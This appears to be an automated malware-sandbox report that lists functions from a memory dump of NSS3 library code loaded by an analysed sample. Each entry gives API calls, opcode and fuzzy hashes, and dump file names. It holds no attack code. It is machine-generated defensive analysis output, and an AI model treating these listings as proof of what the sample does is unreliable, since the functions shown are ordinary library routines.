Opcode ID: 2edd5cabf8d08c6d2b5fdde2c8fb5e7afa5bcea69f3a205712662b1c85085505
Instruction ID: c5f0e7dd726ed1657c685784e24d8d92a78920d3bbc3e133b372cca2bf219c43
Opcode Fuzzy Hash: 2edd5cabf8d08c6d2b5fdde2c8fb5e7afa5bcea69f3a205712662b1c85085505
Instruction Fuzzy Hash: 7D016D75A04645DFDB00AF3AC884659BBF4FF45398F010A6AE88987B00E734E894CBC3

Function 6C5AC590 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C5AC5AD

Part of subcall function 6C5A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5487ED,00000800,6C53EF74,00000000), ref: 6C5A1000
Part of subcall function 6C5A0FF0: PR_NewLock.NSS3(?,00000800,6C53EF74,00000000), ref: 6C5A1016
Part of subcall function 6C5A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C5487ED,00000008,?,00000800,6C53EF74,00000000), ref: 6C5A102B

CERT_DecodeCertPackage.NSS3(?,?,6C5AC610,?), ref: 6C5AC5C2

Part of subcall function 6C5AC0B0: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5AC0E6

CERT_NewTempCertificate.NSS3(?,00000000,00000000,00000001), ref: 6C5AC5E0
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C5AC5EF

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Arena_Util$ArenaCertCertificateDecodeErrorFreeInitLockPackagePoolTempcalloc
String ID:
API String ID: 1454898856-0
Opcode ID: 8b22d80b18e6b85c60461b52784b959f8bced4e1d13ff1aa4ac29b2c17fc560f
Instruction ID: 30c6d5fe5b03b12917adb2bb805d0000842d47a580979ddb769854f0edcadbca
Opcode Fuzzy Hash: 8b22d80b18e6b85c60461b52784b959f8bced4e1d13ff1aa4ac29b2c17fc560f
Instruction Fuzzy Hash: A901A7B1E00104ABEB00ABA6DC06EBF7778DF45618F454069EC06AB341F772BD19C6E5

Function 6C5A24E0 Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C57C154,000000FF,00000000,00000000,00000000,00000000,?,?,6C57C154,?), ref: 6C5A24FA
PORT_Alloc_Util.NSS3(00000000,?,6C57C154,?), ref: 6C5A2509

Part of subcall function 6C5A0BE0: malloc.MOZGLUE(6C598D2D,?,00000000,?), ref: 6C5A0BF8
Part of subcall function 6C5A0BE0: TlsGetValue.KERNEL32(6C598D2D,?,00000000,?), ref: 6C5A0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?), ref: 6C5A2525
free.MOZGLUE(00000000), ref: 6C5A2532

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_UtilValuefreemalloc
String ID:
API String ID: 929835568-0
Opcode ID: 073892772e8c2c1fa5867c958701eab11347a55d27e635e6440152f49f281f21
Instruction ID: 8a3521ccd54100fffc3cfe6b5ced946dc73c6ddeb4b06cb03ecec0c67cb8cc1a
Opcode Fuzzy Hash: 073892772e8c2c1fa5867c958701eab11347a55d27e635e6440152f49f281f21
Instruction Fuzzy Hash: 7FF062B230612676FB102AAB6C59E7B39ACDB456F8B140221B92DCA6C1D961C80285B1

Function 6C650660 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C657B1B,?,?,?,?,?,?,?,?,?,6C65798A), ref: 6C650670

Part of subcall function 6C609EA0: DeleteCriticalSection.KERNEL32(?), ref: 6C609EAA

free.MOZGLUE(?,00000000,00000000,?,?,6C657B1B,?,?,?,?,?,?,?,?,?,6C65798A), ref: 6C650696
free.MOZGLUE(00000004,6C657B1B,?,?,?,?,?,?,?,?,?,6C65798A), ref: 6C6506C7
free.MOZGLUE(?,00000000,00000000,?,?,6C657B1B,?,?,?,?,?,?,?,?,?,6C65798A), ref: 6C6506E9

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$CriticalDeleteDestroyLockSection
String ID:
API String ID: 1785261712-0
Opcode ID: a1a66f0dd68d1026faa2f9a62858e7a8f35469a3ee51a45d705db971181acbad
Instruction ID: a67619111736fad9d7cb6f78c8e42bdb2b9ddb6a0db4d0df5fea68cbeaf49745
Opcode Fuzzy Hash: a1a66f0dd68d1026faa2f9a62858e7a8f35469a3ee51a45d705db971181acbad
Instruction Fuzzy Hash: 8C1135B4701202DBEF00CF9AE8C4B0A77B8AB46388F585125E405C7660C772F855CBAD

Function 6C5D0840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C6A2F88,6C5D0660,00000020,00000000,?,?,6C5D2C3D,?,00000000,00000000,?,6C5D2A28,00000060,00000001), ref: 6C5D0860

Part of subcall function 6C4C4C70: TlsGetValue.KERNEL32(?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4C97
Part of subcall function 6C4C4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4CB0
Part of subcall function 6C4C4C70: PR_Unlock.NSS3(?,?,?,?,?,6C4C3921,6C6A14E4,6C60CC70), ref: 6C4C4CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C5D2C3D,?,00000000,00000000,?,6C5D2A28,00000060,00000001), ref: 6C5D0874
EnterCriticalSection.KERNEL32(00000001), ref: 6C5D0884
PR_Unlock.NSS3 ref: 6C5D08A3

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 211335a48179982280ba3bbb0ca17768b8a934c9bb939fd31799c0a421bf03e0
Instruction ID: 24829d5c74720ad39c5375fc47cf088f3710d092f71a2c789e2932b1c6e39fa9
Opcode Fuzzy Hash: 211335a48179982280ba3bbb0ca17768b8a934c9bb939fd31799c0a421bf03e0
Instruction Fuzzy Hash: 04012076A40344ABEB006F6FFC8595D7734DBD731DF050166EC0C52601EB21B89487D9

Function 6C5BA710 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

PK11_DestroyContext.NSS3(?,00000001,-00000001,?,6C5E186B,?), ref: 6C5BA738

Part of subcall function 6C56CD80: free.MOZGLUE(?,6C56D079,00000000,00000001), ref: 6C56CDA5
Part of subcall function 6C56CD80: PK11_FreeSymKey.NSS3(?,6C56D079,00000000,00000001), ref: 6C56CDB6
Part of subcall function 6C56CD80: SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C56D079,00000000,00000001), ref: 6C56CDCF
Part of subcall function 6C56CD80: DeleteCriticalSection.KERNEL32(?,6C56D079,00000000,00000001), ref: 6C56CDE2
Part of subcall function 6C56CD80: free.MOZGLUE(?), ref: 6C56CDE9

PK11_DestroyContext.NSS3(?,00000001,-00000001,?,6C5E186B,?), ref: 6C5BA757
PK11_DestroyContext.NSS3(?,00000001,-00000001,?,6C5E186B,?), ref: 6C5BA776
PK11_DestroyContext.NSS3(?,00000001,-00000001,?,6C5E186B,?), ref: 6C5BA795

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: K11_$ContextDestroy$free$CriticalDeleteFreeItem_SectionUtilZfree
String ID:
API String ID: 3138553132-0
Opcode ID: 492b612786a5ec9ed6f512fb0ce52e46a673138c3700f546dfff5c578f687e19
Instruction ID: 7b2a9ef0ee78afe51f8f8608d9aa3f69cdcef8567de6e6d6d12bafdfec02c48d
Opcode Fuzzy Hash: 492b612786a5ec9ed6f512fb0ce52e46a673138c3700f546dfff5c578f687e19
Instruction Fuzzy Hash: 6A015EF0A117409BEB609A36DC847C77BE86B00348F00481CE6ADEB681EB71B4088B64

Function 6C5D0450 Relevance: 6.0, APIs: 4, Instructions: 38synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(40C70845,?,6C5D4710,?,000F4240,00000000), ref: 6C5D046B
GetLastError.KERNEL32(?,6C5D4710,?,000F4240,00000000), ref: 6C5D0479

Part of subcall function 6C5EBF80: TlsGetValue.KERNEL32(00000000,?,6C5D461B,-00000004), ref: 6C5EC244

PR_Unlock.NSS3(40C70845,?,6C5D4710,?,000F4240,00000000), ref: 6C5D0492
PR_SetError.NSS3(FFFFE89D,00000000,?,6C5D4710,?,000F4240,00000000), ref: 6C5D04A5

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Error$LastMutexReleaseUnlockValue
String ID:
API String ID: 4014558462-0
Opcode ID: 5aa905bd595a1e12379d4eb94cf4473d8b6e1228732aea80635c6a376e46e789
Instruction ID: f1c839b12542120bc429300bf14489b97a93bbe0a9775e1f7b6490144b08de73
Opcode Fuzzy Hash: 5aa905bd595a1e12379d4eb94cf4473d8b6e1228732aea80635c6a376e46e789
Instruction Fuzzy Hash: C8F0B471B00345EBEF00AE7DAC58F5A36A99B8120FF068476E80AC7A50EB21F544C569

Function 6C65CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C65CC61
free.MOZGLUE ref: 6C65CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C65CC80
free.MOZGLUE(?), ref: 6C65CC87

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: de557c7b3eecac91b8606d12620738d612b68a9700dbc4b742eb82812a515fcb
Instruction ID: 257979724fef795514ac57db83d8ea4b3e3887bf395822e39588de39d761d32e
Opcode Fuzzy Hash: de557c7b3eecac91b8606d12620738d612b68a9700dbc4b742eb82812a515fcb
Instruction Fuzzy Hash: 96E06576700609AFCB10EFA9DC84C8777BCEE4A2707150525E692C3700D232F905CBE5

Function 6C594D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C594D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C594DE6

Strings

%d.%d, xrefs: 6C594DDE

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 832a490acc43d15b70133e976efbac280c715ab5d71416d932cf4cde9a6847cb
Instruction ID: 2a1effbf469305df042b4c6b1dfbf82be3fffe9e81aec518137e921e02274150
Opcode Fuzzy Hash: 832a490acc43d15b70133e976efbac280c715ab5d71416d932cf4cde9a6847cb
Instruction Fuzzy Hash: 9831EAB2D043596BEB109BA19C01BFF7768EF85308F050469ED199B791EB309D05CBA6

Function 6C60EB40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C4CCA30: EnterCriticalSection.KERNEL32(?,?,?,6C52F9C9,?,6C52F4DA,6C52F9C9,?,?,6C4F369A), ref: 6C4CCA7A
Part of subcall function 6C4CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C4CCB26

memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C60EB9B
sqlite3_free.NSS3(00000000), ref: 6C60EBD1

Strings

pel, xrefs: 6C60EB49, 6C60EBA3

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$EnterLeavememsetsqlite3_free
String ID: pel
API String ID: 3148935258-3296558450
Opcode ID: 6a28f29811350ae26ed0d65149fb6aaab212ae8279a1f3a80f8f29e152952cb4
Instruction ID: 05d6af6562834a2d738f7547b4fb5471fe7e818d496b22b62481a5ec915049bb
Opcode Fuzzy Hash: 6a28f29811350ae26ed0d65149fb6aaab212ae8279a1f3a80f8f29e152952cb4
Instruction Fuzzy Hash: 1901E972B04221679714AB7B9D48C6B7AEDEFC6664F04452DF449C3680EB709800C7E6

Function 6C630900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6C630917
sqlite3_value_text.NSS3(?), ref: 6C630923

Part of subcall function 6C4F13C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C4C2352,?,00000000,?,?), ref: 6C4F1413
Part of subcall function 6C4F13C0: memcpy.VCRUNTIME140(00000000,R#Ll,00000002,?,?,?,?,6C4C2352,?,00000000,?,?), ref: 6C4F14C0

Strings

error in %s %s%s%s: %s, xrefs: 6C630944

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: 72a02df3ca83e8cf91f242fa3a14baec27a8b4d8c281aabbf8bacd5cacccc5ff
Instruction ID: b090d3dedb98b24739023494a75c75e1c8f2d5c757df7678f1b6830dd9a7a3fe
Opcode Fuzzy Hash: 72a02df3ca83e8cf91f242fa3a14baec27a8b4d8c281aabbf8bacd5cacccc5ff
Instruction Fuzzy Hash: 380148B6E001489BE7009E58EC019BB77B5EFC5248F144428ED485B711F7329D1487E2

Function 6C61AB40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000002,?,6C61ABC8,?,?,?,6C61AAD6,?,6C4DAFD3,?,00000002,?,6C5FCF46,?,6C4CCDBD), ref: 6C61AB86
sqlite3_free.NSS3(00000002,00000000,?,?,00000002,?,6C61ABC8,?,?,?,6C61AAD6,?,6C4DAFD3,?,00000002), ref: 6C61AB99

Strings

`el, xrefs: 6C61AB66

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CloseHandlesqlite3_free
String ID: `el
API String ID: 1933003305-3349905385
Opcode ID: eb661d402bc7aaf7e0a9b91f9d03b39c63bd5a2f05369e3d53703c0de9009a2d
Instruction ID: 38cdf31e6131804c0a476e7f1e1b4a2a68385e0e102125c45c97ffd7fedd26e2
Opcode Fuzzy Hash: eb661d402bc7aaf7e0a9b91f9d03b39c63bd5a2f05369e3d53703c0de9009a2d
Instruction Fuzzy Hash: AB01F9722081519FD7008F7DDCC4F5737B6FB86725F140538E529CBA91EA719908C754

Function 6C5B4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8[l,00000000,00000000,?,?,6C5B3827,?,00000000), ref: 6C5B4D0A

Part of subcall function 6C5A0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5A08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C5B4D22

Part of subcall function 6C59FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C541A3E,00000048,00000054), ref: 6C59FD56

Strings

'8[l, xrefs: 6C5B4D07

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8[l
API String ID: 1521942269-731010399
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: a43b0e99636626ccad09eb7e038c9a1cfb3572fe2b8cfcb1fb6e18c29cb5f607
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 26F06232601225ABEB604E6BAC90B473ADC9B4167DF140271ED28EF791E771CC0186E1

Function 6C5DAF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C5DAF78

Part of subcall function 6C53ACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53ACE2
Part of subcall function 6C53ACC0: malloc.MOZGLUE(00000001), ref: 6C53ACEC
Part of subcall function 6C53ACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C53AD02
Part of subcall function 6C53ACC0: TlsGetValue.KERNEL32 ref: 6C53AD3C
Part of subcall function 6C53ACC0: calloc.MOZGLUE(00000001,?), ref: 6C53AD8C
Part of subcall function 6C53ACC0: PR_Unlock.NSS3 ref: 6C53ADC0
Part of subcall function 6C53ACC0: PR_Unlock.NSS3 ref: 6C53AE8C
Part of subcall function 6C53ACC0: free.MOZGLUE(?), ref: 6C53AEAB

memcpy.VCRUNTIME140(6C6A3084,6C6A02AC,00000090), ref: 6C5DAF94

Strings

SSL, xrefs: 6C5DAF73

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 2932aab831402e3dcedade8915824aaf0a617dc24b5b105950d0f6983c25261c
Instruction ID: b27dc51f109c41a06fc9374ef1e5346480a74be4b5591768d28fcab16505365e
Opcode Fuzzy Hash: 2932aab831402e3dcedade8915824aaf0a617dc24b5b105950d0f6983c25261c
Instruction Fuzzy Hash: 40211BB2605B499A9B00EFDBB98371A7BF2B302649F62512CD1090BB25D731F4449FDD

Function 6C54C810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(?,00000000,-00000078,00000000,?,00000000,]Tl,6C546499,-00000078,00000000,?,?,]Tl,?,6C545DEF,?), ref: 6C54C821

Part of subcall function 6C541DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C541E0B
Part of subcall function 6C541DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C541E24

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,00000000,?,?,]Tl,?,6C545DEF,?,?,?), ref: 6C54C857

Strings

]Tl, xrefs: 6C54C810

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
